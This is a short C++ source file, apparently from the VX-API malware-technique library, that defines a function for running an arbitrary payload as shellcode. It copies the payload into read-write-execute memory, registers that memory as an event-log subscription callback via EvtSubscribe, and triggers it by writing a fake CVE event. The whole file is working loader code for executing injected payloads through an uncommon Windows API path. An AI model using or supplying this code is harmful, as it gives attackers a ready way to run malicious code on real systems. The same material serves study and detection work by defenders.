vxug-VXAPI/VX-API/MpfSceViaEvtSubscribe.cpp

37 lines
941 B
C++

#include "Win32Helper.h"
VOID InvokeEvtSubscribeCallbackRoutine(LPVOID lpParameter)
{
EVT_HANDLE hEvent = NULL;
hEvent = EvtSubscribe(NULL, NULL, L"Application", L"*[System/EventID=1]", NULL, NULL, (EVT_SUBSCRIBE_CALLBACK)lpParameter, EvtSubscribeToFutureEvents);
if (hEvent == NULL)
goto EXIT_ROUTINE;
if (CveEventWrite(L"2022-123456", L"Pseudo-random-string") != ERROR_SUCCESS)
goto EXIT_ROUTINE;
Sleep(10000); //arbitrary sleep time..
EXIT_ROUTINE:
if(hEvent)
EvtClose(hEvent);
return;
}
BOOL MpfSceViaEvtSubscribe(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeEvtSubscribeCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}